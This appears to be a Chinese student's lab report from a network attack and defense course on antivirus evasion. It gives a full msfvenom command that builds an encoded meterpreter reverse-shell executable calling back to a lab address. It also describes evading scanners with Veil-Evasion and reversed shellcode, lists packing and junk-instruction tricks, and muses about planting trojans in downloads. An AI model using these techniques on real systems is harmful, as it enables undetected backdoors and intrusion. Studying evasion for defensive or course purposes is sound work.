2015306 白皎 《网络攻防》Exp3 免杀原理与实践
2015306 白皎 《网络攻防》Exp3 免杀原理与实践
一、实践基础
免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术。
免杀的方法有很多,比如加壳改壳、加垃圾指令、以及修改内存特征码,在本博客后面就是通过把具有特征码的代码顺序互换一下来达到免杀的目的。
二、实践内容
第一项: Msfvenom编码器生成的程序
1.直接利用上次后门实验生成的exe文件进行检测~
可以明显的看到将近一半的杀软都可以检测出来错误,说明这个木马不行,之后我们会进行改造,尽量使文件不要被查杀出来。
2.按理论上讲,编码会降低检出率,那我们多编码几次,看一下效果。下面是编码10次的命令。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i **10** -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe
编码十次之后,我们继续进行检测。可以看到,并没有什么变化。可以得出结论,编码次数的多少对免杀效果没有积极影响。
第二项:veil-evasion生成的程序
1.直接拷了老师的虚拟机,在安装weil上没有遇到什么波折~按照老师动图的教程,启动weil,设置好回连的IP地址和端口号后,生成后门程序。然后在网站中进行检测。
可以发现,报毒率很明显降低。
第三项:用shellcode编写的程序
1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号。
2.通过以下该命令进行编译。意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。
3.将生成的执行文件进行检测。可以看到
4.下面进行回连,可以看到是ok的。
5.接下来又是进一步的改造。我选择的办法是将shellcode进行逆序变换,将变化后的数组放入被攻击机的程序中来尽量隐身,但是之后程序中有将其变回原形的代码。在被攻击机中需要用VS进行编译,使用教程详见如何用VS2012编写c语言?。现在在进行一次检测。
可以看到只查出一个哈哈哈!
6.用电脑杀毒软件去查杀木马病毒,也没有被查杀出来!
7.再次进行回连成功~~~
三、问题回答
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
使病毒木马免于被杀毒软件查杀,使攻击机安全利用
(3)免杀的基本方法有哪些?
- 加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
- 加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。
- 改程序入口点
- 免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。
2.实践总结与体会
从这次的实验最直观的了解到我们日常用的杀毒软件也并不是万能的,存在着很多漏洞,因此自己在使用电脑,使用网络时要小心谨慎。
然后在做实验的过程中,可以初步了解到我们的电脑被攻击是怎么个原理。感觉懂这些技术的大神是非常酷的!!!
3.离实战还缺些什么技术或步骤?
首先,对于实战来说,木马程序如何嵌入被攻击机中。比如我们日常生活能看到的视频、网页、百度云中的一些木马程序,如何将后门加载到其中我们还需要学习。
其次,我们现在只是会非常简单的对shellcode进行一些改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使不同的后门免杀。
2015306 白皎 《网络攻防》Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 20145236《网络攻防》 Exp3 免杀原理与实践
20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...
- 20155226《网络攻防》 Exp3 免杀原理与实践
20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
- 20155321 《网络攻防》 Exp3 免杀原理与实践
20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...
- 20155330 《网络攻防》 Exp3 免杀原理与实践
20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
随机推荐
- Oracle EBS AP 已经完全付款的发票仍然可以选择并进行零金额的付款
1>找出相应的发票; SELECT DISTINCT ai.invoice_id, ai.invoice_num invoice_num, pv.segment1 vendor_num, pv. ...
- Oracle EBS 获取完全的值集信息
SELECT fvs1.flex_value_set_name, fvs1.description, decode(upper(fvs1.longlist_flag), 'N', '值列表', 'Y' ...
- [翻译] EAIntroView
EAIntroView https://github.com/ealeksandrov/EAIntroView This is highly customizable drop-in soluti ...
- EXC_BAD_ACCESS错误
EXC_BAD_ACCESS错误 一直都是使用ARC开发,咋就莫名其妙的出现这种EXC_BAD_ACCESS错误. 一直都是是怀疑在block中有着特殊处理,导致了使用时出现了这种错误,查找了好久.. ...
- HBase HA的分布式集群部署(适合3、5节点)
本博文的主要内容有: .HBase的分布模式(3.5节点)安装 .HBase的分布模式(3.5节点)的启动 .HBase HA的分布式集群的安装 .HBase HA的分布式集群的启动 .H ...
- TFS使用笔记——合并不同分支的代码
问题描述:我们需要把2.37中改动的代码合并到2.38当中. 查看“Pending Changes”,单击“Change”列排序,查看merge的items,然后选中merge的items,最后“Ch ...
- pathlib
导入Path类 from pathlib import Path 创建Path对象 p = Path('C:\Windows\System32') # 用C:\Windows\System32创建Pa ...
- JAVA 泛型通配符 ? EXTENDS SUPER 的用法
1. <? extends Hero> ArrayList heroList<? extends Hero> 表示这是一个Hero泛型或者其子类泛型heroList 的泛型可能 ...
- [luogu1600] 天天爱跑步
题面 直接写正解吧, 不想再写部分分了, 对于\(u\)和\(v\), 我们可以将它拆成两条路径, \(u\)到\(lca(u, v)\)和\(lca(u, v)\)到v, 在这里只分析从\(u\ ...
- Linux禁用root账户ssh登录
前言 今天登录服务器的时候,控制台输出如下信息 There were 48990 failed login attempts since the last successful login. Last ...